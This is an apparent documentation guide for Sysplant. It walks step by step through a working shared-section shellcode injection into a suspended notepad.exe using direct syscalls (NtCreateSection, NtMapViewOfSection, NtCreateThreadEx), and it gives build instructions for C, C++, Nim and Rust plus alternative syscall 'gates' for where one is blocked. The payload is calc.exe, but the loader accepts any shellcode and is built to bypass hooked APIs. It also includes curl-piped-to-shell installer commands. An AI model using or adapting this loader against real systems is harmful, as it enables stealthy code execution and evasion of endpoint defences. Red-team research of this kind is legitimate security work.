Guides

Shared section injection

Step-by-step walkthrough of the shared-section shellcode injection example included with Sysplant — NtCreateSection, NtMapViewOfSection, NtCreateThreadEx.

Shared section injection example

Authorised use only. This example is provided for educational and authorised security research. The shellcode launches calc.exe as a harmless proof of concept. Do not use on systems you do not own or are not explicitly authorised to test.

This guide walks through the working injection example at example/inject.c. The code is cross-compiled on Linux and produces a Windows PE that performs shellcode injection into a suspended notepad.exe process using only syscalls generated by Sysplant — no WriteProcessMemory, no VirtualAllocEx.


Technique overview: shared-section injection

Instead of allocating memory in the target process directly, this technique creates a shared memory section (NtCreateSection) and maps it twice: once in the current process (read-write, for writing the shellcode) and once in the target process (execute-read, for executing it). Because both mappings back the same physical pages, copying the shellcode locally makes it visible in the remote process with no cross-process write call.

Current process            Target process (suspended notepad.exe)
───────────────            ──────────────────────────────────────
  localBase (RW)   ──┐
                     │ shared physical pages
  (unmapped after)   └──  remoteBase (RX)
                               ↕
                          NtCreateThreadEx → thread starts at remoteBase

Syscalls used

The example uses five syscalls generated by Sysplant and one Win32 API call at the end:

CallTypePurpose
NtOpenProcessSyscallOpen a handle to the suspended process
NtCreateSectionSyscallCreate a shareable memory section
NtMapViewOfSection (×2)SyscallMap the section locally (RW) and remotely (RX)
NtUnmapViewOfSectionSyscallUnmap the local RW view
NtCreateThreadExSyscallCreate a thread in the target at remoteBase
ResumeThreadWin32 APIResume the suspended process's main thread

Step 1 — Generate the syscall file

The example includes syscall.h, which you generate with Sysplant before compiling.

# Must be run from the Sysplant project root
sysplant generate -c \
    -f NtOpenProcess,NtCreateSection,NtMapViewOfSection,NtUnmapViewOfSection,NtCreateThreadEx \
    -o example/syscall \
    canterlot

This creates example/syscall.h using Canterlot's Gate with the default random method.


Step 2 — Walkthrough of inject.c

Launch the sacrificial process suspended

CreateProcessA(
    "C:\\Windows\\System32\\notepad.exe",   // process to inject into
    NULL, NULL, NULL, FALSE,
    CREATE_SUSPENDED,                        // don't start running yet
    NULL, NULL, &si, &pi
);
WaitForSingleObject(pi.hProcess, 1000);

CreateProcessA is a Win32 API call (not a syscall). The process PID is in pi.dwProcessId.

Open a handle to the suspended process

InitializeObjectAttributes(&oa, NULL, 0, 0, NULL);
cid.UniqueProcess = (HANDLE)((UINT_PTR)pi.dwProcessId);
cid.UniqueThread  = NULL;

NtOpenProcess(&pHandle, PROCESS_ALL_ACCESS, &oa, &cid);

PROCESS_ALL_ACCESS grants the rights needed for subsequent section mapping.

Create the shared section

sectionSize.QuadPart = (LONGLONG)shellLen;

NtCreateSection(
    &sHandle,
    SECTION_ALL_ACCESS,
    NULL,
    &sectionSize,        // section is exactly as large as the shellcode
    PAGE_EXECUTE_READWRITE,
    SEC_COMMIT,
    NULL                 // no backing file — pure memory section
);

SEC_COMMIT means the pages are committed immediately. PAGE_EXECUTE_READWRITE defines the maximum protection; each view can restrict to a subset of these rights.

Map the section locally as read-write

viewSize = shellLen;

NtMapViewOfSection(
    sHandle,
    GetCurrentProcess(),   // into this process
    &localBase,            // output: our local mapping address
    0, shellLen, NULL,
    &viewSize,
    1,                     // ViewShare — share-mode enumeration value
    0,
    PAGE_READWRITE         // RW only, no execute here
);

localBase is now a read-write mapping of the section in the current process.

Copy shellcode into the local mapping

memcpy(localBase, shellcode, shellLen);

Because the section is shared, the bytes written to localBase are immediately visible through remoteBase once it is mapped in the next step.

Map the same section into the target as execute-read

viewSize = shellLen;

NtMapViewOfSection(
    sHandle,
    pHandle,               // into the suspended notepad process
    &remoteBase,           // output: address in the target's address space
    0, shellLen, NULL,
    &viewSize,
    1,
    0,
    PAGE_EXECUTE_READ      // no write, execute allowed
);

The kernel maps the same physical pages that localBase uses into pHandle's address space with RX protection.

Unmap the local view

NtUnmapViewOfSection(GetCurrentProcess(), localBase);

The shellcode is already in the shared pages; the local mapping is no longer needed.

Create a thread in the target at remoteBase

NtCreateThreadEx(
    &tHandle,
    THREAD_ALL_ACCESS,
    NULL,
    pHandle,                              // target process
    (LPTHREAD_START_ROUTINE)remoteBase,   // entry point = shellcode
    NULL, FALSE, 0, 0, 0, NULL
);

The thread starts suspended when FALSE is passed at the CreateSuspended parameter position.

Resume the process

ResumeThread(tHandle);

ResumeThread is a Win32 API call (not a syscall). This resumes the thread created by NtCreateThreadEx and begins shellcode execution.


Step 3 — Compile for each language

C (Linux cross-compile)

# Install MinGW
sudo apt install mingw-w64

# Generate syscall.h
sysplant generate -c -o example/syscall canterlot

# Compile
x86_64-w64-mingw32-gcc -Wall -s -static -masm=intel example/inject.c -o example/inject.exe

C++ (Linux cross-compile)

sysplant generate -cpp -o example/syscall canterlot

x86_64-w64-mingw32-g++ -Wall -s -static -masm=intel example/inject.cpp -o example/inject.exe

NIM (requires winim)

# Install Nim and winim
curl https://nim-lang.org/choosenim/init.sh -sSf | sh
nimble install winim
sudo apt install mingw-w64

# Generate
sysplant generate -nim -o example/syscall canterlot

# Compile
nim c -d=release -d=danger -d=strip --opt=size \
    -d=mingw --app=console --cpu=amd64 \
    --out=example/inject.exe example/inject.nim

Rust (Linux cross-compile)

# Install Rust + Windows target
curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh
rustup target add x86_64-pc-windows-gnu
sudo apt install mingw-w64

# Create Cargo project
cargo init --name inject example/rust-inject

# Configure linker: create example/rust-inject/.cargo/config.toml
# with content:
#   [target.x86_64-pc-windows-gnu]
#   linker = "x86_64-w64-mingw32-gcc"

# Generate syscall stub
sysplant generate -rust -o example/rust-inject/src/syscall canterlot

# Copy example source as main entry point
cp example/inject.rs example/rust-inject/src/main.rs

# Compile
cd example/rust-inject
cargo build --release --target x86_64-pc-windows-gnu
# Output: target/x86_64-pc-windows-gnu/release/inject.exe

Step 4 — Run

Transfer the compiled inject.exe to a Windows machine and execute it from a terminal:

inject.exe

A calc.exe window should appear. The spawned notepad.exe process terminates once the thread finishes.


Choosing a different gate

You can regenerate syscall.h with any supported gate without changing the C source:

# Halo's Gate — for environments where Canterlot parsing is blocked
sysplant generate -c -o example/syscall halo

# Custom: SysWhispers3 iterator with egg_hunter method
sysplant generate -c -o example/syscall custom -i syswhispers3 -m egg_hunter

Then recompile.

Copyright © 2026